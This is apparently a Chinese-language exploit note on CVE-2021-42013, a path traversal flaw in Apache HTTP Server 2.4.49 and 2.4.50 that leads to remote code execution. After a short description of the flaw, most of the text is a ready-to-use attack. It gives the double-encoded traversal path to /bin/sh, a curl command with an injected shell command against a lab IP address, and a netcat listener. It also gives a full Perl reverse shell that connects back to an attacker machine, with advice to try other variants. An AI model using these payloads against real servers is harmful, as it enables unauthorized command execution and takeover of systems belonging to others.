名称: apache 远程代码执行 (CVE-2021-42013)
描述: Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
以POST方式访问网站的这个路径
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
请求体内写 执行的命令
echo;whoami
还有一种方法也可以造成命令执行:
curl --data "echo;ls" 'http://192.168.91.129:35663//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
也可以把服务器的shell弹过来(攻击机上做好监听 nc -lvvp 8899)
echo;perl -e 'use Socket;$i="192.168.91.130";$p=8899;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
因为漏洞形成的原因不一样,同样一种反弹shell的命令不可能适用于全部环境下。需要测试其它不同的命令,或python的或perl的,看对方服务器支持不支持了。